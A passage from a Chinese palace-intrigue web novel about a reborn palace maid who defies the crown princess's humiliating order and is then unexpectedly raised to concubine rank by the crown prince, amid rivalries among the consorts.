进了内室。
郑明芷正坐在铺了棕黄绣龟背球路纹褥子的炕上,由陪嫁丫鬟霜月伺候着换鞋。
另一个陪嫁丫鬟霜云拿了今年扬州春贡上来的鸭蛋香粉为其整理妆面,空气中飘散着一缕淡雅的茉莉香。
“奴婢给太子妃请安。”
槛儿迅速扫眼屋里的情形,在离炕一丈多远的地方停下,恭敬地屈膝行礼。
“跪下。”
郑明芷端详着新做的蔻丹,漠然道。
身份差距摆着。
槛儿还不至于蠢得去以卵击石,她没矫情,当下规矩地行了跪拜大礼。
郑明芷的目光这才落到槛儿身上,“把你脖子上的那颗东西给我抬起来。”
知道对方是故意这么说来羞辱她的,槛儿故作难堪状,怯怯地抬起头。
不过其实用不着她怎么做戏,因为她现在的这具身子本能地畏惧着对方。
槛儿压根儿不需要假装。
只用放任着不管,便能轻易以假乱真。
见这小蹄子还是一副没出息的样儿,看到她就怯生生的,郑明芷倒是有些快意。
长得好又如何?
还不是只能给她当奴才。
郑明芷冷嗤,审视的视线在槛儿脸上环视。
别人可能不知道,郑明芷虽至今还没跟太子行过房,但她却不是不晓人事的。
这女人啊。
被男人滋润过的和没有被男人滋润过的,又滋润了多少,她一眼就能看出来。
没在槛儿脸上看到承宠的痕迹,郑明芷的视线落到槛儿胸口,语气不容置喙:
“脱了。”
槛儿睁大眼。
郑明芷可没忘记这小蹄子的衣裳底下,那副白得晃眼又骚气冲天的身子。
想到昨晚太子可能已经碰了这副身子,或是那贱婢在她看不见的地方暴露本性,拿这不要脸的身子勾引太子。
郑明芷就怒火中烧!
这无关乎什么情情爱爱。
只因为她才是太子明媒正娶、十六抬大轿迎回来的发妻,是这东宫的女主人!
她倒要看看,太子昨晚有没有碰这贱婢!
“不要让我再说第二遍。”
郑明芷俯视着地上跪着的人,那张雍容和善的脸上似带着悲天悯人的慈悲。
槛儿觉得可笑。
前世她与郑氏纠缠了近二十年,二人的仇怨于对方饮下那杯鸠酒时终于落了帷幕。
之后的很多年,岁月抹平了过往所有痕迹。
槛儿觉得老天既让她回到了命运最初的节点,便不是为了让她把上辈子已经报了的仇泄了的怨,再带到这辈子来。
让她再在仇恨里过一辈子。
可郑氏执意同她过不去,她也不介意再跟她斗一回!
“回太子妃。”
槛儿迎上郑明芷的目光,像似费了好大的劲才鼓足勇气,“请恕奴婢难以从命。”
“放肆!”
霜云一声厉喝。
“不看看这是什么地方,太子妃的命令也岂是你能违抗的?!还不磕头谢罪!”
郑明芷也没想到槛儿会这么胆大,竟敢如此堂而皇之地违抗她的命令!
她先是一怔,旋即就笑了。
笑意不达眼底的那种。
“看不出来你竟是个经不住抬举的,这还没承宠呢就敢不听话了,承了宠还了得?”
“奴婢不敢。”
槛儿没刻意控制身体对郑氏的畏惧,但她蒙着一层水光的眼神很清明。
“奴才听主子的话天经地义,奴婢受太子妃抬举,也不敢行忘恩负义之事。
可奴婢如今已是殿下的人,太子妃让奴婢脱衣,奴婢可以脱,但奴婢担不起泄露殿下房中之事,亵渎皇室尊严的罪名。
若是太子妃执意要窥视殿下房中私密,还请您派人请示殿下或是就此发落了奴婢,奴婢只求留个全尸。”
说罢,睫毛上的泪珠掉落下来。
槛儿毕恭毕敬磕了个头,颤抖的上半身趴伏在地,一副任凭处置的模样。
这情形。
怕是任谁看了都要觉得是当主子的欺人太甚,做奴婢的冤天屈只能认命。
庞嬷嬷惊呆了。
霜云、霜月两个丫头也惊呆了。
先前当着她们家主子的面连个屁都不敢放的奴才,居然能说出这么一番话?!
郑明芷也愣了愣。
愣过之后就是不可遏制的暴怒。
“好好好……”
她怒极反笑。
“好一个牙尖嘴利的奴才!我竟不知你还长了这么一张嘴,倒是威胁起我来了。
不过伺候了殿下一晚,就敢摆出这么一副做派,你当真以为我不敢拿你怎么样是吧?!”
“奴婢不敢。”
“我看你敢得很!”
郑明芷一巴掌拍到炕上的小几上,随手端起茶盏就要朝槛儿的脑袋砸过去。
槛儿虽低头跪着。
实则余光一直在通过侧后方的那面鎏金嵌珍珠的铜镜,注意郑氏的举动。
说时迟那时快。
就在对方要把茶盏砸过来,槛儿准备躲时庞嬷嬷一个箭步冲过去拦住了人。
“使不得,主子使不得!”
郑明芷气得不轻,胸口剧烈起伏着。
“使不得?如何使不得?这贱婢摆明了就是没把我放在眼里,我岂能再容她!”
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槛儿有些无言以对。
现在的郑氏嫁进东宫还不到两年,论心机和城府都是不能跟几年后相提并论的。
自己是扯了太子的虎皮来给对方添堵不假,但问题是她说的也是事实啊。
储君及帝王的房中之事一旦被泄露,便会被认定为对皇权的亵渎,属大不敬之罪。
郑氏让她脱衣裳,想以此窥视太子昨晚做了什么,这一举动是犯了大忌。
偏郑氏无所觉。
不过不急。
郑氏没反应过来,有人帮她反应。
“主子息怒,您且先息怒。”
庞嬷嬷不停地安抚郑明芷,一旁霜月过来把茶盏从自家主子手里拿下来。
“主子,您还要去坤和宫给皇后娘娘请安,可不能为了这小蹄子耽误了时辰。”
庞嬷嬷不断给郑明芷使眼色。
说完看向槛儿,怒斥道:
“太子妃仁慈,今日这事且不同你计较,往后再敢这般违抗主子的命令,看我不揭了你的皮!还杵着作甚,滚!”
说的比唱的好听。
槛儿暗嗤,面上麻溜地滚了。
郑明芷看着晃动的珠帘,到底是气不过,抓起炕几上的玫瑰糕就朝门口扔了去。
“看她那猖狂样儿!表面见着我跟耗子见着了猫似的,实则没把我放眼里!
这是在殿下那儿挂了名儿,打量着我不敢拿她怎么样呢!作死的**奴才她也敢!”
庞嬷嬷替她抚着胸口顺气。
“这些个**秧子惯是如此,一朝入了贵人眼就恨不得昭告全天下,主子犯不着为这样的人气上,没得伤了身子。”
“不过那贱皮子有句话倒是说对了的。”
郑明芷瞪她。
庞嬷嬷:“奴婢可不是要替那小蹄子说话,而是昨儿晚殿下既没撵人出来,那她如今便确实算得上是殿下的人。
要扒了她那身皮不难,关键那副**的身子殿下碰过了,事关殿下的房中事,还真不是咱们说看就能看的。
要奴婢说,她没脱反倒是好事,若不然这事传到殿下跟前,怕是对您不好。”
郑明芷冷笑。
“这么说我倒要谢谢她了?”
“奴婢自然不是这个意思。”
庞嬷嬷安抚地笑道。
“奴婢是想说甭管殿下昨儿个如何待她,您其实都不必放心上,左不过就是咱们送去伺候殿下的一个玩意儿。
殿下那样的身份跟性子,除了皇后娘娘,您何时见他对哪个女人上过心?
让人送那小蹄子回去,没准儿就只是殿下的随口一句,您真犯不着为这事恼。”
郑明芷冷静了下来。
也后知后觉方才的事,自己做的是有些不妥。
但她打小心高气傲,哪会承认自己的错,更别说让她失态的对象还是个下作的奴婢。
“照你这么说,她刚刚顶撞我的事就这么算了?”
那不然你还想咋样?
庞嬷嬷腹诽,面上作思索状。
“您的意思是……”
郑明芷磨牙。
“我要让她知道,一日为奴终身为奴!”
第7章 “宋氏槛儿,即日起着封七品昭训!”
从正房出来,槛儿径直回了茶房。
这么会儿的功夫。
茶房今日当值的人已经到齐了,大伙儿忙着各自的事,时不时小声说几句话。
正说着呢,槛儿进来了。
屋里倏地一静。
众人像是灌了哑药似的,神色各异。
太子妃嫁进东宫一年有余都没遇喜,这时候调了这么个小宫女到前院来。
打的什么主意,懂的都懂。
可这世上又有哪个做正妻的,能真正心甘情愿往丈夫的枕边送人呢?
所以这一个月来槛儿在茶房看似过得顺利,实则早被其他人有意无意孤立了。
就譬如现在。
没有一个人主动跟她搭话。
槛儿乐得清闲,忽视这些人眼里的复杂自顾回到位置,拿火钳拨弄风炉里的炭。
半刻钟后,太子妃领着人去坤和宫了。
茶房的人暂时无事可做。
槛儿从一旁的架子上拿了些边角料泡了杯茶,随便做些针线活打发时间。
坐久了再起来活动活动筋骨。
除非必要,她很少开口说话。
这一点瞧着倒是跟以前没什么两样。
但众人还是看出来了,槛儿变了。
以前她坐在那基本都是肩扣着头垂着,一副随时恨不得找个地缝钻进去的样子。
瞧着就小家子气,奴才相。
现在不是了。
她的腰背端正,透着一股自然的端庄优雅,低头做针线活也显得娴静温婉。
还有眼神里偶尔显露出的淡然。
总归不像一个奴才的眼神。
倒是跟宫里的主子娘娘们有些像。
“还没咋样呢,就把自己当主子了。”
夏荷坐在临窗的炕上,一面吃茶一面跟对面的秋菊使眼色,压低声音道。
秋菊顺着她的视线看过去。
小姑娘正在后窗处活动筋骨。
随着她手臂伸展的动作,身上的衣裳也跟着上拉下垂、收紧放松,腰臀胸之间的弧度曲线被勾勒得一览无遗。
看得人心惊。
秋菊脸**收回视线,心道也不知这丫头怎么生的,才十五就这么一副身子。
“诶,你说……”
夏荷扯扯她的袖子,又拿两只手在胸前掂了掂,比划出一抖一抖的姿势。
“殿下会喜欢这样儿的吗?”
话音刚落,秋菊一脸煞白。
一把捂住她的嘴,开口声音都是抖的。
“你疯了?!”
殿下的喜好是他们能编排的吗?
几个脑袋够赔的?!
夏荷也意识到说错话了。
惊出一身冷汗,赶忙往窗外望了望。
确定外面没人。
她松了口气,也没敢再说了。
但心里还是忍不住犯嘀咕。
太子妃怎么就看上槛儿了呢?
就他们殿下那般神仙似的人物,就算是纳妾,也合该配清丽脱俗的女子才对。
而不是这种……
夏荷朝槛儿看了眼,鄙夷地撇撇嘴。
半个时辰后,太子妃回来了。
二等宫女青绒过来催茶点,说是曹良媛、金承徽和秦昭训来给太子妃请安了。
槛儿忙着烧火,青绒看向她。
“槛儿,你也过去上茶。”
没等槛儿出声,夏荷先拔高了音调:“什么,让她去上茶?她是烧水的啊!”
青绒皱眉。
“这是太子妃的吩咐,你在对太子妃不满?”
这话太重。
夏荷当即跪下来:“奴婢不敢!”
青绒没理她,看向茶房里其他人。
“我既是来传令的,那就是得了主子的吩咐,都不是头一天在宫里当差了。
什么该问什么不该问,最好都在心里记牢了,今后我不想再听到这样的话!”
一屋子的小宫女齐声应是。
青绒对夏荷道:“今天这茶不用你上了。”
说罢,撂下一句“手脚麻利些”就走了。
槛儿从风炉后面出来去拿点心。
夏荷站起来,恶狠狠地瞪她。
“先是抢了白萝的活,这会儿又来抢我的活,宋槛儿,你可真能!”
白萝就是之前管风炉的人。
槛儿看她一眼,没功夫搭理。
太子性冷,东宫后院目前只有三个妾室,便是曹良媛、金承徽和秦昭训。
郑氏此举摆明了是故意让她去伺候曹良媛她们,好让她日后就算有了名分,在曹良媛她们面前也抬不起头来。
上辈子也是如此。
哪怕彼时她承了宠,郑氏也会用各种方式来提醒她,一日为奴终生为奴。
而她出于对郑氏的畏惧,也就真如对方想的那样,每每都因自己的出身感到难堪。
以至于之后的很长一段时间里,她跟曹良媛等人相处时都没有什么底气。
然而随着年龄的增长再回过头来想,当初的她真是被出身二字蒙蔽了双眼。
她是奴才出身不假。
这没得改。
可在生了孩子成了太子奉仪的那一刻,她和曹良媛等人的身份就只有一个。
那就是,她们都是太子的妾。
郑氏屡屡用她的出身拿捏她,又何尝不是在提醒太子,他的女人曾是个奴才呢?
再者她好歹是嘉荣堂的人。
郑氏却让她去伺候曹良媛她们,以此来羞辱她,可实际被羞辱的到底是谁?
也是那时她太小,又在后院被磋磨得狠了,才会没心思没精力往这方面想。
思绪间,茶点备好了。
槛儿几人端着东西到了正房。
厅堂里,曹良媛三人刚请完安。
郑明芷给她们赐了座,槛儿几人在门前两个二等宫女的示意下入内上茶。
“哟,要不怎么说这嘉荣堂人杰地灵呢,瞧瞧这随随便便一个上茶的人儿,都能生得这般国色天香呀。”
甫一进去,一道清亮的女声便响了起来。
正是曹良媛。
她坐在左下首的第一个位置,瓜子脸下垂眼,模样俊雅秀美,气质落落大方。
瞧着是个直爽豁达之人。
槛儿将茶盏放至曹良媛身旁的案几上,佯作不知在说她似的本分地垂着头。
“说你呢。”
曹良媛在案几上敲了两下。
槛儿受宠若惊般抬起眸子,朝曹良媛福身。
“请良媛主子安。”
如果说曹良媛刚刚那话,是她注意到这宫婢的身段儿时故意说出来膈应郑明芷的。
那么此刻在看清了此女的长相后,曹良媛则是真的有一刹那的晃神。
哪怕她自身就是女子。
也不得不叹一句,态浓意远淑且真,肌理细腻骨肉匀。
真真是个绝色。
几乎是一照面,曹良媛就明白过来太子妃在打什么主意了,她的手猛地就是一紧。
好个姓郑的。
竟想往殿下跟前塞人!
曹良媛咬紧银牙,很快又敛起心神,眼珠子一转,抚了抚耳朵看向郑明芷。
“哎呀,连声音都这般好听。”
“太子妃这儿何时多了这么个妙人儿?昨儿我们来可还没见着呢。”
对面的金承徽:“转过身来我们也瞧瞧。”
金承徽生得俏丽,圆脸白皙,琼鼻朱唇,一双桃花眼波光潋滟,身形很是清瘦。
槛儿转过身,朝她和秦昭训行礼。
二女的反应同曹良媛如出一辙。
还是秦昭训先反应过来。
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>“果真是个妙人儿。”
秦昭训是翰林院侍讲秦哲之女。
受家学渊源的影响,她通身书卷气,端丽的眉宇间透着一股温润婉约之感。
是个清雅绝尘的美人。
“太子妃真是**道。”
金承徽回过神,撅着嘴道。
“这般的小美人就该早些让我们饱饱眼福才对,结果她竟是一个人私藏了。”
“谁说不是呢?”
曹良媛接话。
“还是嘉荣堂的规矩好,底下的人嘴巴紧,这要换做我那院里有这么一个绝色美人儿,估计早嚷嚷开了。”
要不怎么说女人要想在后宅里吃得开,首先得学会说话,能听得懂人说话呢。
曹良媛看似几句亲昵奉承之言,显得自己跟太子妃的关系很亲近一般。
实则既暗讽了嘉荣堂藏着见不得人的事,又拔高了自己,突现她行事光明磊落。
不像太子妃,喜欢藏着掖着。
难怪庞嬷嬷总说这曹良媛喜欢阴阳怪调,这才几句话,就已经机锋不断了。
按规矩宫人上完茶要退下。
但此时话题在槛儿身上。
这种情况她肯定是不能走的。
槛儿就站那装羞,装听不懂她们说话。
郑明芷权当没听出金承徽和曹良媛的阴阳怪气。
笑看向秦昭训:“你瞧,不过是我这儿多了个上茶的宫人,她俩就胡搅蛮缠上了。”
秦昭训:“太子妃这儿的宫人玉立琼姿,二位姐姐急于欣赏美人也情有可原。”
“你呢?也想欣赏美人?”
郑明芷意有所指道。
秦昭训掩掩唇角,神情浅淡。
“太子妃说笑,妾身想不想欣赏并不重要,重要的是太子妃想让谁欣赏。”
屋里的气氛肉眼可见地一凝。
秦昭训的大宫女注意到太子妃眼里淡下去的笑意,差点腿一软跌坐在地。
槛儿时宜地低下头。
郑明芷放下茶盏,浅浅一笑。
“秦昭训此言有些意思,一个上茶的奴才罢了,什么我想让谁欣赏不想让谁欣赏的,不是你们先挑起话头的?
这会儿倒把话撂我头上,我倒想知道,秦昭训觉得我想让谁欣赏这婢子呢?”
曹良媛和金承徽乐得看好戏。
秦昭训一哽。
“妾身愚钝,口不择言,请太子妃恕罪。”
郑明芷知道她们猜到槛儿这小蹄子出现在这儿的原因了,可那又如何?
事关太子。
曹良媛几个再如何猜测,也不敢多言。
至于槛儿这小蹄子,孩子出来之前她不会公开此事,也不会给这贱婢位份。
这般想着。
郑明芷一个眼神也没给槛儿。
只瞧着秦昭训:“瞧你说的,我又何曾说你什么?这就请起罪来了,不知道的,还当我这个太子妃小鼻子小眼儿呢。”
“禀太子妃!”
嘉荣堂里负责跑腿的太监小东子跑进了院,人还没到门口就大声通禀道。
郑明芷皱眉。
却是不等她开口训斥,就听小东子道:“太子妃,海公公来传殿下的口谕!”
郑明芷哪还顾得上槛儿。
当即领着曹良媛三人迎出去。
太子有旨,宫人要同主子一道听旨,槛儿和屋里的宫人们也跟到了院里。
不一会儿,海顺来了。
他也不废话。
同郑明芷问了安后迅速在院里环视一圈。
看到跪在那,似乎连跪姿都透着一股风流韵致的小宫女,海顺清了清嗓子。
“传殿下口谕,嘉荣堂宋氏槛儿,蕙质兰心贤淑温雅,甚得孤心,即日起着封七品昭训,赐住永煦院东侧殿——”
第8章 太子爷:“今晚宋昭训掌灯。”
初夏的骄阳明晃晃的。
花坛里的蜀葵、朝颜、绣球花竞相开放,花瓣上的露珠在阳光下更显晶莹剔透。
怡然闲适的景象,周围却死寂得可怕。
“宋昭训,还不上前谢恩?”
海顺假装没看到太子妃僵硬的神情和曹良媛三人的震惊,对不远处的槛儿道。
槛儿这会儿其实也有些懵。
虽说重来一回,她没有打算让自己这辈子的晋升之路再像前世那般艰难。
但宫里的位份也不是说晋就能晋的。
像是父亲乃翰林院侍讲学士的秦昭训,进了东宫也不过只得了个昭训的位份。
所以槛儿的设想里自己这辈子还是要从奉仪做起,她也有信心走好之后的路。
结果没想到。
位份来得这么快不说,竟还是昭训。
槛儿心下微妙,起身上前。
“妾身谢殿下恩典。”
郑明芷袖下的手攥得死紧。
海顺笑眯眯:“太子妃,宋昭训的住处已经收拾妥帖,奴才这就领宋昭训过去。”
郑明芷维持着得体的笑。
“劳海公公跑一趟。”
说罢,扭头叮嘱槛儿:
“即日起你便也属这东宫后宅中的女眷,望尔今后谨言慎行,切记莫要失了体统。”
槛儿忽视对方眼里的冷意,恭顺应是。
一刻钟后。
槛儿拎着个小包袱跟海顺出了嘉荣堂。
东宫的后宅主要由嘉荣堂,及其后面东侧的六座小院和西侧的六座小院构成。
除了曹良媛因是刑部左侍郎曹淮中之女,三年前参加选秀被太后封了良媛,住了东六院沁芳居的正房外。
就是金承徽和秦昭训分别住了东六院香叶轩的正房和东厢,其他院子都没人住。
特别是西六院,至今无人踏足。
而永煦院便是西六院的第一座小院。
一路上七拐八绕的。
不多时,槛儿和海顺进了西六院。
经门口的花圃向东拐便到了永煦院,进院门绕过影壁,院内的情形一览无余。
入目是正房,面阔三间前后出廊。
檐下有五彩斗拱,两侧设耳房,东西厢房皆是小三间,带耳房并后罩房。
庭院不算太大,但也不小。
靠近院门处几座假山林立,有流水倾泻而下,潭中几株碗莲亭亭玉立。
正房门前两株枣树,两厢房门前种有芙蓉海棠,俱枝繁叶茂,美轮美奂。
海顺带槛儿进了她今后要住的东厢。
进去就是明间,即厅堂。
正对着门的墙上挂着一幅桃源仙境图,其下设成套的黄花梨案几和宝座,两侧是花架、香几及**架。
西间为书房。
东间乃闲时休憩之地。
临窗一张大炕铺着棕红绣卷草纹的褥子,另有朱樱对鹿靠背、引枕,中间一张炕桌,旁边是剔红小四件柜。
往里的卧房以珠帘遮挡。
海顺就没进去了,槛儿自己进去瞧了瞧。
“宋昭训,可还喜欢?”
等槛儿从里面出来,海顺笑着问。
他三十出头的年纪,圆脸细目一脸福相,一身靛青色内侍袍,头戴乌纱三山帽。
槛儿上辈子没少和海顺打交道。
如今见着也觉亲切。
闻言点头道:“喜欢,劳海总管费心了,也烦请您再替我谢谢殿下……”
说起“殿下”,她消了声。
羞臊般垂首,只露出一片泛着薄粉的侧脸,模样简直要多可人有多可人。
海顺瞧了一眼便没好再看了。
脑海里不受控制地冒出昨天晚上,小姑娘坐在他们家殿下怀里的情形。
还有殿下那句“滚出去”。
哎哟喂!
他都没眼看!
要不说这宋昭训有福气呢。
海顺伺候他们家殿下这么多年,还从没见过殿下跟哪个女人这般亲近过呢!
“宋昭训放心,奴才一定把话带到。”
海顺克制着上扬的唇角。
“这屋里屋外啊,都是一早打扫干净了的,大件儿的物件也已配备齐全。
小些的摆件跟您日常所需的用具,内务府的人待会儿再一并给您送过来。”
“好。”
说话间,二人回了堂屋。
槛儿在北面的椅子上落座。
海顺朝外招呼一声,几个宫女太监并一个管事姑姑模样的人从外面走进来。
几人按品阶和职务划分一一站定后跪下行礼,看得出来都是规矩极好的。
槛儿的目光在经过那名管事姑姑和两个大宫女时,微不可察地顿了顿。
海顺笑着介绍:
“他们都是内务府精心挑选出来的,今后就在昭训院里伺候,昭训尽可吩咐。”
说着,看向几个宫人。
“还不抬起头来报上名儿,让宋昭训认认脸?”
几人齐声应是。
从管事姑姑开始报名。
管事姑姑唤舒瑛,人称瑛姑姑,三十出头的年纪,瞧着是个爽利人。
两名大宫女都是十八的年纪。
一个叫寒酥,看着是个沉稳的,另一个叫跳珠,眉宇间透着一股机灵
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劲儿。
两个二等宫女是望晴和喜雨,年纪相对小些,但也都比槛儿大,模样都很端正。
两个跑腿的小太监叫小福子、小喜子,杂役的两个则是小桂子和小满子。
都报了名,海顺象征性训诫两句。
“规矩用不着我多说,安排你们过来,要的是你们老老实实当差,伺候好宋昭训。
什么念头能动什么念头不能动,都给我在心里掂量好了!如若不然,呵呵。”
这两声笑得人头皮发麻。
瑛姑姑等人忙垂首应是。
其实就算海顺不说这话,他们也不敢怠慢了这位新封的昭训主儿。
东宫后院时隔三年头一回进人。
据说还是太子抬起来的。
且不提为何嘉荣堂的人是太子开口封,而不是太子妃。
单凭这位主儿入住新宫室是海顺陪着,就足可见太子爷对这位主儿的重视。
他们就是吃了熊心豹子胆。
也不敢怠慢太子看中的人啊。
“宋昭训,若是没有吩咐,奴才这就回去复命了,”海顺转身对槛儿道。
槛儿站起身。
“海总管有事要忙,我就不耽误您了。”
海顺“诶”了声。
一路紧赶慢赶,回到元淳宫。
听下面的人说太子刚同人议完事,准备去练武场,这会儿在换衣裳。
海顺就去了后寝殿。
进去见他的干儿子袁宝,正领着几个小太监伺候太子更衣。
海顺上前,顺手从一旁的托盘里拿起一条金玉蹀躞带替太子系在腰上。
“从哪回来?”
骆峋随口问。
海顺笑道:“奴才刚把宋昭训送去永煦院呢。”
宋昭训?
骆峋从昨晚到现在一直忙着正事,早把什么娇娇软软的小宫女抛脑后了。
闻言反应了一下。
“哦,小宫女。”
海顺被自家殿下的话逗得忍俊不禁,“今天起可就不是小宫女了,是您的宋昭训。”
这话说的。
什么叫他的宋昭训?
好吧。
太子昭训,的确是他的昭训。
不知怎么,骆峋脑海里浮现出了昨晚那小宫女……不对,是小昭训。
浮现出昨晚小昭训当着他的面,说不愿将孩子养在嘉荣堂时的眼神。
骆峋想。
若是他当时出言否决了她的话,那双眼睛里的光是不是会就此黯淡下去?
想到这,他有种很不舒服的感觉。
沉默片刻。
骆峋淡淡道:“今晚宋昭训掌灯。”
第9章 “今儿个宋昭训侍寝怕是不妥。”
这掌灯之言。
指的便是天黑之际,东宫后宅各个主子屋门前都会挂上两只纱绢花灯。
轮到谁侍寝了,便有元淳宫的人提前来将该主子屋门前的花灯取下来。
这是从太祖时期东宫传下来的规矩。
不过,太子素来于女色寡淡。
太子妃进门前,不曾涉足后院。
太子妃嫁进来一年有余,太子也是近半年才开始踏足曹良媛她们院里的。
侍寝时间由太子妃安排。
太子若有兴致去后院,当天该谁侍寝就谁侍寝,太子从来没自己挑过人。
今儿个倒是破了天荒。
按说海顺该高兴的。
但……
“殿下,今儿个宋昭训掌灯怕是不妥。”
他硬着头皮提醒道。
太子爷抬步往外行去,示意他继续。
海顺斟酌道:“若奴才记得没错,照太子妃的安排,今晚该曹良媛侍寝。”
宋昭训是从嘉荣堂出来的人,按理别说太子本就对其有兴致,便是没有,也合该要给太子妃面子。
可问题是。
曹良媛是太子和太子妃生了龃龉后,太子为制衡太子妃,平衡东宫后宅势力而特意立起来的一杆枪。
太子今晚若去了宋昭训那,就是公然打曹良媛的脸,也是打了自己的脸。
骆峋想起来了。
他步子顿了顿。
平静无波的视线不知在看哪。
片刻。
海顺似听到太子爷低笑了声。
随即是他一贯淡漠的嗓音:“那就看太子妃今晚,想让谁侍寝吧。”
“是。”
.
海顺前脚离开永煦院,后脚太子封槛儿为昭训的消息就在后宅传开了。
上至各院各处的管事,下至大小杂役粗使,众人心里都掀起了一阵不小的波澜。
大伙儿不知内情。
那些有心眼儿但又不多的人,只当太子此举是为了全太子妃的脸面。
心眼儿稍微多些的。
则从这事里品到了那么点儿别的意思。
不过事关东宫两位最大的主子,哪怕众人有想法,也不敢拿到明面上来说。
嘉荣堂里。
郑明芷面无表情地坐在临窗的紫檀雕八仙纹罗汉床上,双手攥得死紧。
屋里静得吓人。
霜月霜云立在一侧,谁都不敢开口。
还是庞嬷嬷心疼自家主子,上前道:“太子妃息怒,殿下此举是给您体面呢。”
“体面?什么体面?”
郑明芷猛地抬头。
“这算哪门子体面?这么大的事他不同我说也就罢,抬的还是我院里的人!
我前脚让人出来伺候那几个小的,他后脚就派人来传口谕!这叫给我体面?”
“这是把我的脸往地上踩!”
“还蕙质兰心,贤淑温雅,那贱婢也配?!”
“我看他是睡的女人太少!才会好赖不分,什么脏的臭的都想往院里放!”
“太子妃!”
庞嬷嬷一声暴喝。
声音近乎尖叫。
惊得外间和院里站着的人浑身一震,随即扑通扑通里外跪了满院子。
郑明芷也被这一声惊到了。
眉头一皱就要呵斥。
不想却见霜云霜月不知何时跪了下去,二人皆脸色煞白,抖若筛糠。
蓦地,郑明芷一个激灵。
脸也白了:“奶娘,我、我……”
庞嬷嬷僵着腿跪过去,紧紧捏住她家主子的手,声音压得几乎听不见。
“您便是再气,也得时刻记着自己的身份啊!那位可不是我们能编排的!”
郑家祖上乃草莽出身,早年随太祖打江山被封了奉国公,爵位**罔替。
但世事无常。
随着不久之后某个大臣居功自傲,妄图谋反的事暴露,本就对开国功臣心存忌惮的太祖越发怀疑起了这些人。
随着来的便是一系列肃清。
郑家为自保主动交出兵权。
还找理由递了折子,恳请太祖削爵。
最后郑家的兵权没了,但爵位还在,只是封号由奉国公变成了顺国公。
此后郑家人弃武从文,可同时也有了“郑家子孙永不入内阁”的祖训。
如今郑家开国功勋的位置,只剩了个名头。
陛下给太子和郑家姑娘赐婚,无非就是太子已经有了一个望族出身的外家,不需要再有一个有实权的岳家。
换而言之,郑家是靠不住的!
这种情况。
一个不慎别说太子妃的位置没得坐,就是整个国公府可能都要受牵连!
她们已经惹恼过太子一回。
当时若非正值太子太子妃刚大婚不久,太子不好真在那时候废了太子妃。
否则以顺国公府现今在朝中的位置,太子就是请旨赐死太子妃都不为过!
经历了那样的事。
这一年里太子还能让太子妃坐在这位置上,给她体面,已经称得上慈悲了。
若她们还不知收敛。
那就真是自寻死路!
庞嬷嬷想到的,郑明芷也想到了。
只是她刚刚太气了。
以至于连最基本的忌讳都忘了。
此时一经提醒,她也被骇得不轻。
“我知道的奶娘。”
短暂的惊慌后,郑明芷吐出一口气稳住心神,回握庞嬷嬷的手把人拉起来。
“刚刚是我太气,才会一时忘了规矩,没事了,我现在知道自己在做什么。”
“那就好,那就好……”
霜云霜月也被叫了起。
只不过再想起太子着封槛儿一事,郑明芷还是控制不住心里的恼意。
她与太子有龃龉不假。
可说到底她现在既然坐在这个位置上,那她就是东宫名正言顺的女主人。
这后宅就该由她管。
如今殿下连知会一声都无就抬了她院里的人,这让她这个太子妃颜面何存?
“奶娘你说,殿下这么做到底是为什么?总不能真看上那贱婢了吧?”
“不可能。”
庞嬷嬷斩钉截铁。
“皇家最不缺的就是美人儿,殿下从小生在宫廷,什么样的佳丽没见过?不可能被那等货色给迷了眼。”
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何况殿下处在这个位置,做了十七年的太子,要真能这般轻易为美色所迷。
怕是这位置早换人坐了。
这话不能说出来。
但郑明芷听出了庞嬷嬷的话外音。
她想了想。
觉得也确实如此。
殿下自身就容貌出众卓尔不群,又岂会是那等看人皮囊的轻浮之徒。
可这么一来,郑明芷就想不通了。
自己这一年来安分守己。
对裴皇后与元隆帝尽到了儿媳的本分,和殿下虽未相濡以沫却好歹相敬如宾。
这段时间也没做什么惹殿下不快的事。
殿下怎能知会都无。
就做主抬了她的人呢?
还给的昭训位份!
也是曹良媛三个**不知内情,否则这会儿指不定在心里如何笑话她呢。
“难道是因为入朝的事?”
庞嬷嬷小声猜测。
按大靖朝制,皇子及大婚之龄都当入朝为君父分忧解难,为百姓谋福祉。
除去早夭的四皇子。
太子前面的四位兄长。
大皇子信王、二皇子荣王、三皇子睿王和五皇子慎王,他们都在娶了各自的王妃后不久,相继入朝当差。
就连七皇子宣王都在先太子三年成婚后,在五军营后军捞了个从七品的都事。
然而轮到太子。
离太子大婚都过去一年多了,元隆帝依旧不见让其临朝听政的打算。
理由也是现成的。
就是太子年轻气盛心性不定,当得修身养性磨砺心志,方可在将来担得重任。
这纯属瞎扯淡呢。
可元隆帝都这么说了,谁敢反驳?
所以太子这一年做的都是些代祀天地,监修典籍和经筵讲学这类无实权的差事。
直到两个月前。
朝中有人站出来重提让太子入朝之事,看元隆帝这次的态度似有所考量。
太子突然抬了那小蹄子。
许是不想在这个当头被有心人设计,指摘他堂堂储君,竟让后院女子没名没分地跟着他,为他生儿育女。
“您以为呢?”
郑明芷抿唇,觉得有哪不对劲。
可又说不上来。
思忖片刻,她揉揉太阳穴。
“恐就是如此了,便宜那贱婢了!”
庞嬷嬷宽慰道:
“不过就是个暖床的东西,当初挑了她不就是瞅着她臀翘胸大好生养么?
咱们当务之急是盼着那小蹄子尽快开怀,是时生了孩子记在您名下,咱们拿捏她还不是易如反掌?”
郑明芷神情总算缓和了。
“话是这么说,但她的位份到底是殿下给的,我要拿捏也终究不好太过。”
“怕什么?”
庞嬷嬷不以为然。
“殿下性子冷,日后又要忙着政事,哪有时间去管这么个小昭训啊?这后宅里的事,还不都由您说了算?”
至此,郑明芷最后一丝怒意也消失殆尽。
这时,一旁的霜云开口:
“主子,今晚是曹良媛侍寝的日子……”
郑明芷拧眉,神色晦暗。
第10章 “你以为孤今夜该去永煦院还是沁芳居?”
相较于外头各个院里的波诡云谲,新晋宋昭训的东厢房里就平静多了。
海顺一走,槛儿就将寒酥跳珠等人叫进了屋,一一询问起他们的情况。
包括籍贯,何时进的宫,都学了些什么,擅长什么,先前在哪当差之类的。
上辈子随着槛儿的晋位。
身边的人添过不少,也换过不少。
这事儿她做起来得心应手。
除了瑛姑姑。
四个宫女和那四个小太监,都原以为这位只是运气好,才被抬举起来的。
然而眼下宋昭训端坐在北面主位上,漂亮的眉眼还带着少女的青涩和稚气。
可任谁也忽视不了从那双看似清澈无害的眼睛里,隐隐流露出的压迫感。
都是在宫里当差的,没几个蠢的。
几人当即便知晓他们要伺候的这位主儿,不是个表面看起来这么简单的。
于是更加不敢怠慢。
槛儿问什么,他们皆如实作答。
全部问过了。
